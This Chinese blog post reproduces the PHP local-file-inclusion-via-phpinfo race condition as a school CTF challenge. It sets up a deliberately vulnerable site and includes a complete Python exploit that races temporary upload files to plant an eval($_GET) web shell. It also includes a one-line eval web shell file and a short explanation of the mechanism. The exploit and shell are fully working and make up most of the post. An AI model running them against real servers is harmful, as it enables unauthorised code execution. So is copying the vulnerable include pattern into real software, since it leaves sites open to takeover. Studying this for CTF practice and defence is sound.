lfi_phpinfo

一个挺老的文件包含利用,感觉很有意思就复现了一下(顺便拿来做了个校赛题目)

参考文档:
http://www.freebuf.com/articles/web/79830.html
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
https://blog.csdn.net/bnxf00000/article/details/49047057

服务器环境搭建:

dockerfile:

1
2
FROM php:5.6-apache
MAINTAINER zz

phpinfo.php:

1
<?phpphpinfo();?>

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<META http-equiv="content-type" content="text/html; charset=utf8">
<?php
header("content-type:text/html;charset=utf-8");
include 'config.php';
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = $page . ".php";
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ZJGSU</title>
<link rel="stylesheet" href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "submit") { ?>class="active"<?php } ?>><a href="?page=submit">Submit</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
include($file);
?>
</div>
<script src="http://code.jquery.com/jquery-latest.js" />
<script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js" />
</body>
</html>

submit.php

1
2
3
4
5
6
7
8
9
10
11
<META http-equiv="content-type" content="text/html; charset=utf8">
<form enctype="multipart/form-data" action="upload.php" method="POST" />
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose an image to upload:
<br />
<input name="uploaded" type="file" /><br />
<br />
<input type="submit" name="Upload" value="Upload" />
</form>
请上传jpg gif png 格式的文件 文件大小不能超过100KiB<br>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<META http-equiv="content-type" content="text/html; charset=utf8">
<?php
//error_reporting(0);
include 'config.php';
function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
function deletefile($dir){
$dh=opendir($dir);
while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
$fullpath=$dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
}
closedir($dh);
}
if (isset($_POST['Upload'])) {
$target_path ="./Err0r/";
$target_name=get_random_token();
$target_path = $target_path . $target_name;
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "png" || $uploaded_ext == "PNG"|| $uploaded_ext == "gif" || $uploaded_ext == "GIF"|| $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path.".".$uploaded_ext)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path .".".$uploaded_ext .' succesfully uploaded!';
echo '</pre>';
sleep(3);
deletefile("./Err0r/");
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>

home.php

1
2
3
<h1 style="text-align: center">欢迎来到壮壮的网站!<br></h1>
<br/>
<p>您可以使用上面的链接浏览页面!</p>

about.php

1
2
3
4
5
6
7
8
9
10
11
<META http-equiv="content-type" content="text/html; charset=utf8">
<h1>About</h1>
<p>不会就请看http://err0rzz.github.io/</p>
<p>如果私发给壮壮以下信息,可能可以得到flag~</p>
<ul>
<li>你好帅!</li>
<li>phpinfo<li>
<li>伪协议</li>
<li>你好帅!</li>
</ul>

虽然此题不止包含tmp文件一种方法,但是这里实验还是用这种吧。
payload.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
import sys
import threading
import socket
def setup(host, port):
TAG="Locale File Include Vulns!!!"
PAYLOAD="""%s\r\n<?php $c=fopen('/var/www/html/Err0r/zz.php','w');fwrite($c,'<?php eval($_GET["zz"]);?>');?>\r\n""" % TAG
REQ1_DATA="""-----------------------------68124396905382484903242131\r\n"""+\
"""Content-Disposition: form-data; name="userfile"; filename="test.txt"\r\n"""+\
"""Content-Type: text/plain\r\n"""+"""\r\n"""+\
"""%s\r\n-----------------------------68124396905382484903242131--""" % PAYLOAD
padding="A" * 8000
REQ1="""POST /phpinfo.php?a=%s HTTP/1.1\r\n"""%padding
temp="""Host: %s\r\n"""%host
REQ1 = REQ1+temp
REQ1=REQ1+"""User-Agent: """+padding+"""\r\n"""+\
"""Accept: """+padding+"""\r\n"""+\
"""Accept-Language: """+padding+"""\r\n"""+\
"""Accept-Encoding: """+padding+"""\r\n"""+\
"""Connection: keep-alive\r\n"""+\
"""Content-Type: multipart/form-data; boundary=---------------------------68124396905382484903242131\r\n"""
REQ1=REQ1+"""Content-Length: %s\r\n\r\n"""%(len(REQ1_DATA))
REQ1=REQ1+"""%s"""%REQ1_DATA
#modify this to suit the LFI script
LFIREQ="""GET /index.php?page=%s HTTP/1.1\r\n"""+\
"""Host: %s\r\n"""+\
"""User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1\r\n"""+\
"""Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"""+\
"""Accept-Language: en-US,en;q=0.5\r\n"""+\
"""Connection: keep-alive\r\n\r\n"""
#print REQ1
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt")
fn = d[i+17:i+31]
#print fn
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()

原理

因为php引擎对enctype=”multipart/form-data“这种请求的处理过程如下:

1
2
3
4
5
6
7
‍1、请求到达;
‍2、创建临时文件,并写入上传文件的内容;
‍3、调用相应PHP脚本进行处理,如校验名称、大小等;
‍4、删除临时文件。

php引擎会首先将文件内容保存到临时文件,再进行相应操作。

这里我们对phpinfo.php发起请求,为了使得实验效果更明显,将phpinfo.php暂时改为如下:

1
2
3
4
<?php
sleep(30);
phpinfo();
?>

index.php

1
2
3
4
5
6
7
<form action="phpinfo.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

muma.php

1
<?php eval($_GET['zz']);?>

然后在index.php里将muma.php上传上去,然后观察/tmp/目录
,会发现多了个php+随机字母的tmp文件,内容是<?php eval($_GET[‘zz’]);?>,然后在被删除之前去包含该文件,写入一个php文件。

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 服务器环境搭建:
  2. 2. 原理
,